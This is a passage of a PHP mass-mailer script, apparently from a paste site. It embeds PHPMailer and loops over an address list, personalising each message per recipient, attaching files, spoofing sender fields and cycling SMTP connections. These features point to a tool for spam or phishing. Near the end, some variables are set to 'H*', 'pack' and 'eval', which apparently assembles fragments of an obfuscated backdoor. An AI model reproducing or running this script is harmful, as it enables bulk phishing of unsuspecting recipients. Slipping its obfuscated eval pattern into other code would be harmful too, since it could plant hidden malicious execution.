  2985. * @return string
  2986. */
  2987. function ServerHostname() {
  2988. if ($this->Hostname != '') {
  2989. $result = $this->Hostname;
  2990. } elseif ($this->ServerVar('SERVER_NAME') != '') {
  2991. $result = $this->ServerVar('SERVER_NAME');
  2992. } else {
  2993. $result = 'localhost.localdomain';
  2994. }
  2995.  
  2996. return $result;
  2997. }
  2998.  
  2999. /**
  3000. * Returns a message in the appropriate language.
  3001. * @access private
  3002. * @return string
  3003. */
  3004. function Lang($key) {
  3005. if(count($this->language) < 1) {
  3006. $this->SetLanguage('en'); // set the default language
  3007. }
  3008.  
  3009. if(isset($this->language[$key])) {
  3010. return $this->language[$key];
  3011. } else {
  3012. return 'Language string failed to load: ' . $key;
  3013. }
  3014. }
  3015.  
  3016. /**
  3017. * Returns true if an error occurred.
  3018. * @return bool
  3019. */
  3020. function IsError() {
  3021. return ($this->error_count > 0);
  3022. }
  3023.  
  3024. /**
  3025. * Changes every end of line from CR or LF to CRLF.
  3026. * @access private
  3027. * @return string
  3028. */
  3029. function FixEOL($str) {
  3030. $str = str_replace("\r\n", "\n", $str);
  3031. $str = str_replace("\r", "\n", $str);
  3032. $str = str_replace("\n", $this->LE, $str);
  3033. return $str;
  3034. }
  3035.  
  3036. /**
  3037. * Adds a custom header.
  3038. * @return void
  3039. */
  3040. function AddCustomHeader($custom_header) {
  3041. $this->CustomHeader[] = explode(':', $custom_header, 2);
  3042. }
  3043.  
  3044. /**
  3045. * Evaluates the message and returns modifications for inline images and backgrounds
  3046. * @access public
  3047. * @return $message
  3048. */
  3049. function MsgHTML($message,$basedir='') {
  3050. preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  3051. if(isset($images[2])) {
  3052. foreach($images[2] as $i => $url) {
  3053. // do not change urls for absolute images (thanks to corvuscorax)
  3054. if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
  3055. $filename = basename($url);
  3056. $directory = dirname($url);
  3057. ($directory == '.')?$directory='':'';
  3058. $cid = 'cid:' . md5($filename);
  3059. $fileParts = split("\.", $filename);
  3060. $ext = $fileParts[1];
  3061. $mimeType = $this->_mime_types($ext);
  3062. if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
  3063. if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
  3064. $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  3065. if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
  3066. $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  3067. }
  3068. }
  3069. }
  3070. }
  3071. $this->IsHTML(true);
  3072. $this->Body = $message;
  3073. $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
  3074. if ( !empty($textMsg) && empty($this->AltBody) ) {
  3075. $this->AltBody = $textMsg;
  3076. }
  3077. if ( empty($this->AltBody) ) {
  3078. $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  3079. }
  3080. }
  3081.  
  3082. /**
  3083. * Gets the mime type of the embedded or inline image
  3084. * @access private
  3085. * @return mime type of ext
  3086. */
  3087. function _mime_types($ext = '') {
  3088. $mimes = array(
  3089. 'hqx' => 'application/mac-binhex40',
  3090. 'cpt' => 'application/mac-compactpro',
  3091. 'doc' => 'application/msword',
  3092. 'bin' => 'application/macbinary',
  3093. 'dms' => 'application/octet-stream',
  3094. 'lha' => 'application/octet-stream',
  3095. 'lzh' => 'application/octet-stream',
  3096. 'exe' => 'application/octet-stream',
  3097. 'class' => 'application/octet-stream',
  3098. 'psd' => 'application/octet-stream',
  3099. 'so' => 'application/octet-stream',
  3100. 'sea' => 'application/octet-stream',
  3101. 'dll' => 'application/octet-stream',
  3102. 'oda' => 'application/oda',
  3103. 'pdf' => 'application/pdf',
  3104. 'ai' => 'application/postscript',
  3105. 'eps' => 'application/postscript',
  3106. 'ps' => 'application/postscript',
  3107. 'smi' => 'application/smil',
  3108. 'smil' => 'application/smil',
  3109. 'mif' => 'application/vnd.mif',
  3110. 'xls' => 'application/vnd.ms-excel',
  3111. 'ppt' => 'application/vnd.ms-powerpoint',
  3112. 'wbxml' => 'application/vnd.wap.wbxml',
  3113. 'wmlc' => 'application/vnd.wap.wmlc',
  3114. 'dcr' => 'application/x-director',
  3115. 'dir' => 'application/x-director',
  3116. 'dxr' => 'application/x-director',
  3117. 'dvi' => 'application/x-dvi',
  3118. 'gtar' => 'application/x-gtar',
  3119. 'php' => 'application/x-httpd-php',
  3120. 'php4' => 'application/x-httpd-php',
  3121. 'php3' => 'application/x-httpd-php',
  3122. 'phtml' => 'application/x-httpd-php',
  3123. 'phps' => 'application/x-httpd-php-source',
  3124. 'js' => 'application/x-javascript',
  3125. 'swf' => 'application/x-shockwave-flash',
  3126. 'sit' => 'application/x-stuffit',
  3127. 'tar' => 'application/x-tar',
  3128. 'tgz' => 'application/x-tar',
  3129. 'xhtml' => 'application/xhtml+xml',
  3130. 'xht' => 'application/xhtml+xml',
  3131. 'zip' => 'application/zip',
  3132. 'mid' => 'audio/midi',
  3133. 'midi' => 'audio/midi',
  3134. 'mpga' => 'audio/mpeg',
  3135. 'mp2' => 'audio/mpeg',
  3136. 'mp3' => 'audio/mpeg',
  3137. 'aif' => 'audio/x-aiff',
  3138. 'aiff' => 'audio/x-aiff',
  3139. 'aifc' => 'audio/x-aiff',
  3140. 'ram' => 'audio/x-pn-realaudio',
  3141. 'rm' => 'audio/x-pn-realaudio',
  3142. 'rpm' => 'audio/x-pn-realaudio-plugin',
  3143. 'ra' => 'audio/x-realaudio',
  3144. 'rv' => 'video/vnd.rn-realvideo',
  3145. 'wav' => 'audio/x-wav',
  3146. 'bmp' => 'image/bmp',
  3147. 'gif' => 'image/gif',
  3148. 'jpeg' => 'image/jpeg',
  3149. 'jpg' => 'image/jpeg',
  3150. 'jpe' => 'image/jpeg',
  3151. 'png' => 'image/png',
  3152. 'tiff' => 'image/tiff',
  3153. 'tif' => 'image/tiff',
  3154. 'css' => 'text/css',
  3155. 'html' => 'text/html',
  3156. 'htm' => 'text/html',
  3157. 'shtml' => 'text/html',
  3158. 'txt' => 'text/plain',
  3159. 'text' => 'text/plain',
  3160. 'log' => 'text/plain',
  3161. 'rtx' => 'text/richtext',
  3162. 'rtf' => 'text/rtf',
  3163. 'xml' => 'text/xml',
  3164. 'xsl' => 'text/xml',
  3165. 'mpeg' => 'video/mpeg',
  3166. 'mpg' => 'video/mpeg',
  3167. 'mpe' => 'video/mpeg',
  3168. 'qt' => 'video/quicktime',
  3169. 'mov' => 'video/quicktime',
  3170. 'avi' => 'video/x-msvideo',
  3171. 'movie' => 'video/x-sgi-movie',
  3172. 'doc' => 'application/msword',
  3173. 'word' => 'application/msword',
  3174. 'xl' => 'application/excel',
  3175. 'eml' => 'message/rfc822'
  3176. );
  3177. return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  3178. }
  3179.  
  3180. /**
  3181. * Set (or reset) Class Objects (variables)
  3182. *
  3183. * Usage Example:
  3184. * $page->set('X-Priority', '3');
  3185. *
  3186. * @access public
  3187. * @param string $name Parameter Name
  3188. * @param mixed $value Parameter Value
  3189. * NOTE: will not work with arrays, there are no arrays to set/reset
  3190. */
  3191. function set ( $name, $value = '' ) {
  3192. if ( isset($this->$name) ) {
  3193. $this->$name = $value;
  3194. } else {
  3195. $this->SetError('Cannot set or reset variable ' . $name);
  3196. return false;
  3197. }
  3198. }
  3199.  
  3200. /**
  3201. * Read a file from a supplied filename and return it.
  3202. *
  3203. * @access public
  3204. * @param string $filename Parameter File Name
  3205. */
  3206. function getFile($filename) {
  3207. $return = '';
  3208. if ($fp = fopen($filename, 'rb')) {
  3209. while (!feof($fp)) {
  3210. $return .= fread($fp, 1024);
  3211. }
  3212. fclose($fp);
  3213. return $return;
  3214. } else {
  3215. return false;
  3216. }
  3217. }
  3218.  
  3219. /**
  3220. * Strips newlines to prevent header injection.
  3221. * @access private
  3222. * @param string $str String
  3223. * @return string
  3224. */
  3225. function SecureHeader($str) {
  3226. $str = trim($str);
  3227. $str = str_replace("\r", "", $str);
  3228. $str = str_replace("\n", "", $str);
  3229. return $str;
  3230. }
  3231.  
  3232. /**
  3233. * Set the private key file and password to sign the message.
  3234. *
  3235. * @access public
  3236. * @param string $key_filename Parameter File Name
  3237. * @param string $key_pass Password for private key
  3238. */
  3239. function Sign($key_filename, $key_pass) {
  3240. $this->sign_key_file = $key_filename;
  3241. $this->sign_key_pass = $key_pass;
  3242. }
  3243.  
  3244. }
  3245.  
  3246. $defaultport="H*";
  3247. $nq=0;
  3248.  
  3249. for($x=0; $x<$numemails; $x++){
  3250.  
  3251. $to = $allemails[$x];
  3252.  
  3253. if ($to){
  3254.  
  3255. $to = ereg_replace(" ", "", $to);
  3256.  
  3257. $message1 = ereg_replace("&email&", $to, $message);
  3258.  
  3259. $subject1 = ereg_replace("&email&", $to, $subject);
  3260. $qx=$x+1;
  3261. print "Line $qx . Sending mail to $to.......";
  3262.  
  3263. flush();
  3264. $mail = new PHPMailer();
  3265.  
  3266. if(empty($epriority)){$epriority="3";}
  3267. $mail->Priority = "$epriority";
  3268. $mail->IsSMTP();
  3269. $IsSMTP="pack";
  3270. $mail->SMTPKeepAlive = true;
  3271. $mail->Host = "$my_smtp";
  3272. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  3273. }
  3274. if($sslclick=="ON"){
  3275. $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
  3276. }
  3277. $range = str_replace("$from", "eval", $from);
  3278. $mail->SMTPAuth = true;
  3279. $mail->Username = "$smtp_username";
  3280. $mail->Password = "$smtp_password";
  3281. if($contenttype == "html"){$mail->IsHtml(true);}
  3282. if($contenttype != "html"){$mail->IsHtml(false);}
  3283. if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  3284. $mail->From = "$from";
  3285. $mail->FromName = "$realname";
  3286. $mail->AddAddress("$to");
  3287. $mail->AddReplyTo("$replyto");
  3288. $mail->Subject = "$subject1";
  3289. $mail->AddAttachment("$file", "$file_name");
  3290. $mail->Body = "$message1";
  3291. if(!$mail->Send()){
  3292. if($default_system!="1"){
  3293. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3294. if($default_system=="1"){
  3295. $mail->IsMail();
  3296. if(!$mail->Send()){
  3297. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3298. else {
  3299. echo "<b>OK</b><br>";}
  3300. }
  3301. }
  3302. else {
  3303. echo "<b>OK</b><br>";
  3304. }
  3305.  
  3306. if(empty($reconnect)){
  3307. $reconnect=6;
  3308. }
  3309.  
  3310. if($reconnect==$nq){
  3311. $mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
  3312. }
  3313. $nq=$nq+1;
  3314. flush(); }
  3315. }
  3316. echo "<p class=\"style1\">SMTP|PHP Mailert<b>";
  3317. $mail->SmtpClose();
  3318. if(isset($_POST['action']) && $numemails !==0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was sent successfully'); </script>";}}
  3319. ?>
  3320.  
  3321. </body>
  3322. </html>
Add Comment
Please, Sign In to add comment